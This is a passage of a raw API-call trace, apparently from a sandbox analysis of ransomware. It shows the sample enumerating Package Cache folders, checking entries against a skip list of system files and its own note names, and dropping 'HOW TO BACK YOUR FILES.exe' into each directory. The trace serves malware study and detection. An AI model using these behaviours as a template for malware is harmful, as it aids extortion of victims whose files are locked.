	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="ids.txt") returned -1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="ntuser.dat") returned -1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="perflogs") returned -1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="MSBuild") returned -1
	[0063.090] lstrlenW (lpString="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 38
	[0063.090] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 83
	[0063.090] lstrcpyW (in: lpString1=0x119e64a, lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0063.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0063.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x59a220
	[0063.091] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fcb0 | out: ListHead=0x5b75f0, ListEntry=0x59fcb0) returned 0x59fd70
	[0063.091] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="Apollon865.txt.exe") returned -1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2=".") returned 1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="..") returned 1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="windows") returned -1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="bootmgr") returned -1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="temp") returned -1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="pagefile.sys") returned -1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="boot") returned -1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="ids.txt") returned -1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="ntuser.dat") returned -1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="perflogs") returned -1
	[0063.091] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="MSBuild") returned -1
	[0063.091] lstrlenW (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38
	[0063.091] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 71
	[0063.091] lstrcpyW (in: lpString1=0x119e64a, lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0063.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0063.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x59a2b8
	[0063.091] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd90 | out: ListHead=0x5b75f0, ListEntry=0x59fd90) returned 0x59fcb0
	[0063.091] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f3d7510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3d7510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1
	[0063.091] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.091] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="Apollon865.txt.exe") returned -1
	[0063.091] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2=".") returned 1
	[0063.091] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="..") returned 1
	[0063.091] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="windows") returned -1
	[0063.091] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="bootmgr") returned -1
	[0063.091] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="temp") returned -1
	[0063.092] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="pagefile.sys") returned -1
	[0063.092] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="boot") returned -1
	[0063.092] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="ids.txt") returned -1
	[0063.092] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="ntuser.dat") returned -1
	[0063.092] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="perflogs") returned -1
	[0063.092] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="MSBuild") returned -1
	[0063.092] lstrlenW (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38
	[0063.092] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 71
	[0063.092] lstrcpyW (in: lpString1=0x119e64a, lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0063.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0063.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x59a350
	[0063.092] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd50 | out: ListHead=0x5b75f0, ListEntry=0x59fd50) returned 0x59fd90
	[0063.092] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2=".") returned 1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="..") returned 1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="windows") returned -1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="bootmgr") returned -1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="temp") returned -1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="boot") returned -1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="ids.txt") returned -1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="perflogs") returned -1
	[0063.092] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="MSBuild") returned -1
	[0063.092] lstrlenW (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 49
	[0063.092] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 71
	[0063.092] lstrcpyW (in: lpString1=0x119e64a, lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0063.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0063.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x59a3e8
	[0063.092] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc10 | out: ListHead=0x5b75f0, ListEntry=0x59fc10) returned 0x59fd50
	[0063.093] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0
	[0063.093] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0063.093] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc10
	[0063.093] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0063.093] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a3e8 | out: hHeap=0x580000) returned 1
	[0063.093] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0063.093] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 82
	[0063.093] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0063.093] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.093] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.093] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.094] GetLastError () returned 0x0
	[0063.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.094] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.094] CloseHandle (hObject=0x15c) returned 1
	[0063.094] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.094] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.094] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.094] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.094] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.094] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.094] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.094] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.094] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.094] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.094] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.094] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f38b250, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.094] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.094] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0063.095] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0063.095] lstrlenW (lpString="packages") returned 8
	[0063.095] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned 84
	[0063.095] lstrcpyW (in: lpString1=0x119e6ae, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0063.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0063.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0063.095] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc10 | out: ListHead=0x5b75f0, ListEntry=0x59fc10) returned 0x59fd50
	[0063.095] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0063.095] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0063.095] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc10
	[0063.095] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages"
	[0063.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0063.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0063.095] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned 91
	[0063.095] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages"
	[0063.095] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.095] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.096] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.096] GetLastError () returned 0x0
	[0063.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.096] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.096] CloseHandle (hObject=0x15c) returned 1
	[0063.096] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.096] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.096] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.097] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.097] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.097] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.097] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.097] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.097] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.097] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.097] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.097] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f38b250, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.097] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.097] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3b13b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3b13b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="Apollon865.txt.exe") returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2=".") returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="..") returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="windows") returned -1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="bootmgr") returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="temp") returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="pagefile.sys") returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="boot") returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="ids.txt") returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="ntuser.dat") returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="perflogs") returned 1
	[0063.097] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="MSBuild") returned 1
